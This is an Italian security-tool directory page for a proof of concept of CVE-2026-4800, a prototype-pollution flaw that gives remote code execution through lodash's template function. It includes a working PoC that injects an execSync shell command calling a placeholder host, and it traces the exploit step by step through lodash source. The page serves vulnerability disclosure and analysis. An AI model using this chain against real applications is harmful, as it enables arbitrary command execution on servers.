Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-4800-POC — Proof-of-concept che dimostra l'esecuzione remota di codice nel template di lodash tramite prototype pollution, con analisi dettagliata del flusso dell'attacco e della tecnica di sfruttamento. | Kitploit
Strumenti/GitHubGitHub/threalwinky/cve-2026-4800-poc
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebSviluppo Payload
GitHubthrealwinky/cve-2026-4800-poc

CVE-2026-4800-POC

Proof-of-concept che dimostra l'esecuzione remota di codice nel template di lodash tramite prototype pollution, con analisi dettagliata del flusso dell'attacco e della tecnica di sfruttamento.

Vedi Repository
24 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-4800-POC

Advisory di Sicurezza

https://github.com/lodash/lodash/security/advisories/GHSA-r5fr-rjxr-66jc

POC

root@kitploit:~
const _ = require('lodash');
Object.prototype.imports = {'x=process.getBuiltinModule("child_process").execSync("curl https://example.com")':undefined}
_.template('', {});

alt text

Flusso

  • Utilizzo di una precedente vulnerabilità di prototype pollution per inquinare Object.prototype.imports con una proprietà controllata dall'attaccante

  • Successivamente, chiama _.template('', {}) con un normale valore di opzioni plain-object

  • All'interno di _.template(), lodash copia options con assignInWith({}, options, settings, ...) in lodash.js:14877

  • root@kitploit:~
    function template(string, options, guard) {
          // Based on John Resig's `tmpl` implementation
          // (http://ejohn.org/blog/javascript-micro-templating/)
          // and Laura Doktorova's doT.js (https://github.com/olado/doT).
          var settings = lodash.templateSettings;
    
          if (guard && isIterateeCall(string, options, guard)) {
            options = undefined;
          }
          string = toString(string);
          options = assignInWith({}, options, settings, customDefaultsAssignIn);
    
    
    ...
    
    • assignInWith usa keysIn(source) in lodash.js:12778
    root@kitploit:~
        var assignInWith = createAssigner(function(object, source, srcIndex, customizer) {
          copyObject(source, keysIn(source), object, customizer);
        });
    
    
    • keysIn() include le proprietà enumerabili ereditate in lodash.js:13440
    root@kitploit:~
        function keysIn(object) {
          return isArrayLike(object) ? arrayLikeKeys(object, true) : baseKeysIn(object);
        }
    
    
    • Poiché l'oggetto options è un normale {}, eredita la proprietà imports inquinata da Object.prototype, e lodash copia quel valore ereditato nella options.imports locale

    • Lodash quindi costruisce imports con assignInWith({}, options.imports, settings.imports, ...) in lodash.js:14889, estrae importsKeys in lodash.js:14889, e li passa a Function(importsKeys, ...) in lodash.js:14957

    root@kitploit:~
    ...
    
          // Cleanup code by stripping empty strings.
          source = (isEvaluating ? source.replace(reEmptyStringLeading, '') : source)
            .replace(reEmptyStringMiddle, '$1')
            .replace(reEmptyStringTrailing, '$1;');
    
          // Frame code as the function body.
          source = 'function(' + (variable || 'obj') + ') {\n' +
            (variable
              ? ''
              : 'obj || (obj = {});\n'
            ) +
            "var __t, __p = ''" +
            (isEscaping
               ? ', __e = _.escape'
               : ''
            ) +
            (isEvaluating
              ? ', __j = Array.prototype.join;\n' +
                "function print() { __p += __j.call(arguments, '') }\n"
              : ';\n'
            ) +
            source +
            'return __p\n}';
    
          var result = attempt(function() {
            return Function(importsKeys, sourceURL + 'return ' + source)
              .apply(undefined, importsValues);
          });
    
    ...
    
    • La mia chiave inquinata viene trattata come un parametro formale con un'espressione di default:

      root@kitploit:~
      x=process.getBuiltinModule("child_process").execSync("curl https://example.com")
      
    Scarica lo strumento